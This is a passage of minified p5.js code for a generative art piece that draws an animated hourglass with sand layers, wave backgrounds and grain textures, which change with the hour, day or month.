1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15M
],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e)M
,0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
or{static p;static SAND_COLOR_MODE=3;static getSandColorByIndex(e,t=0,i=30,s=50){e%=5;let a=[];var r,h,n;for(let e=0;e<5;e++){let t=e%5;1==Color.SAND_COLOR_MODE?a.push(o(t)):2==Color.SAND_COLOR_MODE?a.push(l(t)):3==Color.SAND_COLOR_MODE?a.push(d(t)):4==Color.SAND_COLOR_MODE?a.push(m(t)):5==Color.SAND_COLOR_MODE?a.push(p(t)):6==Color.SAND_COLOR_MODE?a.push(g(t)):7==Color.SAND_COLOR_MODE?a.push(c(t)):8==Color.SAND_COLOR_MODE?a.push(u(t)):9==Color.SAND_COLOR_MODE&&a.push(v(t))}return a[e];function o(e){return 0==e?(r=M
t+60,h=i+5,n=s+5):1==e?(r=t+30,h=i+5,n=s+9):2==e?(r=t,h=i,n=s):3==e?(r=t-30,h=i+5,n=s+9):4==e&&(r=t-60,h=i+5,n=s+5),r<0?r+=360:r>360&&(r-=360),chroma(r,h/100,n/100,"hsl")}function l(e){return r=t,0==e?(h=i,n=s+30):1==e?(h=i-30,n=s+8):2==e?(h=i,n=s):3==e?(h=i-30,n=s+30):4==e&&(h=i,n=s-20),h<10&&(h+=60),(0==e||3==e)&&n>100&&(n=s-50),chroma(r,h/100,n/100,"hsl")}function d(e){return 0==e?(r=t-120,h=i+10,n=s-30):1==e?(r=t+120,h=i-10,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t-120,h=i+10,n=s):4==e&&(r=t+120,h=i+10,n=s-30),r>360?r-M
=360:r<0&&(r+=360),h>100&&(h-=20),n>100&&(n-=30),chroma(r,h/100,n/100,"hsl")}function m(e){return 0==e?(r=t,h=i+10,n=s-30):1==e?(r=t,h=i-30,n=s+30):2==e?(r=t,h=i,n=s):3==e?(r=t-180,h=i+20,n=s-30):4==e&&(r=t-180,h=i,n=s),r<0&&(r+=360),chroma(r,h/100,n/100,"hsl")}function p(e){return 0==e?(r=t-150,h=i-10,n=s+30):1==e?(r=t-150,h=i-5,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t+150,h=i+10,n=s+30):4==e&&(r=t+150,h=i+5,n=s),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n>100&&(n-=60),chroma(r,h/100,n/100,"hsl")}function g(e){return 0==M
e?(r=t+60,h=i-5):1==e?(r=t+150,h=i-10):2==e?(r=t,h=i):3==e?(r=t-150,h=i+10):4==e&&(r=t-60,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function c(e){return 0==e?(r=t,h=i+20):1==e?(r=t+90,h=i-10):2==e?(r=t,h=i):3==e?(r=t+180,h=i+10):4==e&&(r=t-90,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function u(e){return 0==e?(r=t+30,h=i+10,n=s+20):1==e?(r=t+30,h=i+40,n=s+40):2==e?(r=t,h=i,n=s):3==e?(r=t+160,h=i+25,n=s+5):4==e&&(r=t+150,h=i+10,n=s+20),r>3M
60&&(r-=360),(0==e||4==e)&&h>100?h-=20:1==e&&h>90?h-=80:3==e&&h>60&&(h-=50),1==e&&n>100?n-=80:(0==e||4==e)&&n>100&&(n-=40),chroma(r,h/100,n/100,"hsl")}function v(e){return r=t,h=i,0==e?n=s-25:1==e?n=s+30:2==e?n=s:3==e?n=s+5:4==e&&(n=s-10),n>100&&(n-=80),chroma(r,h/100,n/100,"hsl")}}static chromaToArray=e=>[e._rgb[0],e._rgb[1],e._rgb[2],255*e._rgb[3]];static setColorMode=e=>{this.SAND_COLOR_MODE=e}}class Geometry{static slicePolyByY(e,t){let i=[];for(let s=0;s<e.length;s++){let a=e[s],r=s?e[s-1]:e.at(-1),h=a.y>=t;h!M
=r.y>=t&&i.push(Geometry.interWithY(r,a,t)),h&&i.push(a)}return i}static getAreaBelowY(e,t){return Geometry.getPolyArea(Geometry.slicePolyByY(e,t))}static getYByAreaBelow(e,t){let[i,s,a,r]=Geometry.getBoundingBox(e,"COORD"),h=s,n=r;for(let i=0;i<30;++i){let i=(h+n)/2;Geometry.getAreaBelowY(e,i)>t?h=i:n=i}return n}static interWithY(e,t,i){let s=e.copy(),a=t.copy(),r=createVector(-1e9,i),h=createVector(1e9,i);return Geometry.intersection(s,a,r,h)}static getPolyArea(e){let t=0;for(let i=0;i<e.length;i++){let s=e[i],a=M
e[(i+1)%e.length],r=createVector(s.x,s.y),h=createVector(a.x,a.y);t+=r.cross(h).z}return t=abs(t)/2,t}static getBoundingBox(e,t="SIZE"){let i=e[0].x,s=e[0].x,a=e[0].y,r=e[0].y;for(let t=0;t<e.length;t++)isNaN(e[t].y)||(a=min(a,e[t].y),r=max(r,e[t].y)),isNaN(e[t].x)||(i=min(i,e[t].x),s=max(s,e[t].x));return"SIZE"==t?[i,a,s-i,r-a]:"COORD"==t?[i,a,s,r]:[]}static intersection(e,t,i,s){let a=createVector(t.x-e.x,t.y-e.y),r=createVector(s.x-i.x,s.y-i.y),h=createVector(i.x-e.x,i.y-e.y),n=(a.copy().rotate(PI/2),r.copy().roM
tate(PI/2)),o=h.dot(n)/a.dot(n),l=a.mult(o);return createVector(e.x+l.x,e.y+l.y)}}class GraphicUtils{static applyMask(e,t){e.push(),e.noStroke(),e.blendMode(REMOVE),e.fill(255,255,255,255),e.beginShape(),e.vertex(0,0),e.vertex(0,e.height),e.vertex(e.width,e.height),e.vertex(e.width,0),e.beginContour();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endContour(),e.endShape(e.CLOSE),e.blendMode(BLEND),e.pop()}}class Hourglass{static TICK_INTERVAL=60;static ROTATE_INTERVAL=10/3;constructor(e,t){this.evolvePeriod=M
e.evolvePeriod,t.registerIterationChangeEvent(this.onIterationChange.bind(this));let i=t.getCurrentIteration();this.onIterationChange(i),this.update(new Date)}onIterationChange(e){this.flipped=e%2==1}getState(){return{top:this.top,rotation:this.rotation,flipped:this.flipped,timeSinceRotation:this.timeSinceRotation}}update(e){let t,i=0;if(traits.evolvePeriod==EvolvePeriod.HOURLY)t=3600,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.DAILY)t=86400,i+=60*e.geM
tHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.MONTHLY){let s=e.getFullYear(),a=e.getMonth()+1;t=24*new Date(s,a,0).getDate()*60*60,i+=24*(e.getDate()-1)*60*60,i+=60*e.getHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3}this.flipped?this.top=1-min(1,i/t):this.top=min(1,i/t),this.timeSinceRotation=max(0,i-Hourglass.ROTATE_INTERVAL);let s=Math.min(i,Hourglass.ROTATE_INTERVAL);this.rotation=this.flipped?PI:0,this.rotatM
ion+=s/Hourglass.ROTATE_INTERVAL*PI}}function getRandomInt(e,t){return floor(random(e,t))}function getRandomItem(e){let t=0;for(const i of e)t+=i[1];let i=random(t),s=0;for(const t of e)if(s+=t[1],i<s)return t[0];return null}function shuffle(e){for(let t=1;t<e.length;++t){let i=getRandomInt(0,t),s=e[t];e[t]=e[i],e[i]=s}}class PostProcessing{constructor(e,t,i){this.wCanvas=e,this.hCanvas=t,this.graphic=createGraphics(this.wCanvas,this.hCanvas),this.updateFilter(1)}updateFilter(e,t,i){this.graphic.fill(255,255,255,25M
5),this.graphic.blendMode(REMOVE),this.graphic.rect(0,0,this.wCanvas,this.hCanvas),this.graphic.blendMode(BLEND);let s,a=this.wCanvas/2,r=this.hCanvas/2,h=2*sqrt(a*a+r*r);s=a>r?sqrt(1-Math.pow(r/a,2)):sqrt(1-Math.pow(a/r,2));let n,o;if(1!=abs(e)){let t,i;3==abs(e)?(t=6,i=.6):10==abs(e)?(t=4,i=.5):60==abs(e)?(t=3,i=.4):3600==abs(e)&&(t=2,i=.3),o=i-.1,n=map(sin(Date.now()/1e3/t*TAU),-1,1,i-.1,i+.1)}else i?(o=1,n=1):(o=.75,n=.75);this.graphic.push(),this.graphic.ellipseMode(RADIUS),this.graphic.translate(a,r);for(let M
e=39;e>=0;e--){let t=(e+1)/40;if(1==o||map(t,o,1,0,1.2)<=0)break;let i=max(map(t,n,1,0,1.2),0),s=color(0,0,0,255*i);this.graphic.fill(s),this.graphic.noStroke(),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),e>0&&(t=e/40,this.graphic.fill(255,255,255,255),this.graphic.blendMode(REMOVE),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),this.graphic.blendMode(BLEND))}this.graphic.pop()}applyToMainCanvas(){image(this.graphic,0,0)}}class BackgroundRenderer{constructor(e,t,i,s,a,r){this.wCanvas=e.width,this.hCanvas=eM
.height,this.maxR=min(this.wCanvas,this.hCanvas)/1024,this.dx,this.yvalues,this.xvalues,this.xspacing1=[],this.thickness1=[],this.theta1=[],this.velocity1=[],this.sz1=[],this.xspacing2=[],this.thickness2=[],this.theta2=[],this.velocity2=[],this.sz2=[],this.xspacing3=[],this.thickness3=[],this.theta3=[],this.velocity3=[],this.sz3=[],this.xspacing4=[],this.thickness4=[],this.theta4=[],this.velocity4=[],this.sz4=[],this.c=[],this.num_waves=30,this._h=t,this._s=i,this._l=s,this.patternOrder=a.patternOrder,this.diagonalM
=sqrt(Math.pow(width,2)+Math.pow(height,2));let h=createVector(width,height).heading(),n=abs(PI/4-h);this.ty=this.diagonal/2*cos(n),this.waveSpeed=a.waveSpeed,this.wavePeriod=a.wavePeriod,this.waveHeight=a.waveHeight,this.evolvePeriod=a.evolvePeriod,this.evolvePeriod==EvolvePeriod.DAILY?this.num_lines=7:(this.evolvePeriod==EvolvePeriod.HOURLY||this.evolvePeriod==EvolvePeriod.MONTHLY)&&(this.num_lines=12),this.waveHeight==WaveHeight.SHORT?this.amplitude=getRandomInt(20,30):this.waveHeight==WaveHeight.MEDIUM?this.ampM
litude=getRandomInt(30,40):this.waveHeight==WaveHeight.TALL&&(this.amplitude=getRandomInt(40,50)),this.wavePeriod==WavePeriod.SHORT?this.period=getRandomInt(300,351):this.wavePeriod==WavePeriod.MEDIUM?this.period=getRandomInt(425,476):this.wavePeriod==WavePeriod.LONG&&(this.period=getRandomInt(600,651)),this.waveSpeed==WaveSpeed.SLOW?(this.min_speed=.003,this.max_speed=.005):this.waveSpeed==WaveSpeed.MEDIUM?(this.min_speed=.008,this.max_speed=.01):this.waveSpeed==WaveSpeed.FAST&&(this.min_speed=.015,this.max_speed=M
.018),this.thetaList=[0,1/4*PI,.5*PI,3/4*PI,PI],this.setupStaticWave(),this.setupDynamicWave(),r.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=r.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){randomSeed(100*e+1),shuffle(this.xspacing1),shuffle(this.thickness1),shuffle(this.theta1),shuffle(this.xspacing1),shuffle(this.velocity1),shuffle(this.xspacing2),shuffle(this.thickness2),shuffle(this.theta2),shuffle(this.xspacing2),shuffle(this.velocity2),shuffle(this.xspacing3),shM
uffle(this.thickness3),shuffle(this.theta3),shuffle(this.xspacing3),shuffle(this.velocity3),shuffle(this.xspacing4),shuffle(this.thickness4),shuffle(this.theta4),shuffle(this.xspacing4),shuffle(this.velocity4)}setupStaticWave(){for(let e=0;e<this.num_waves;e++){this.xspacing1.push(getRandomInt(5,50)),this.thickness1.push(getRandomInt(50,200)),this.theta1.push({value:random(this.thetaList)}),this.velocity1.push({value:random(this.min_speed,this.max_speed)}),this.sz1.push(random(.5,3)),this.xspacing2.push(getRandomInM
t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
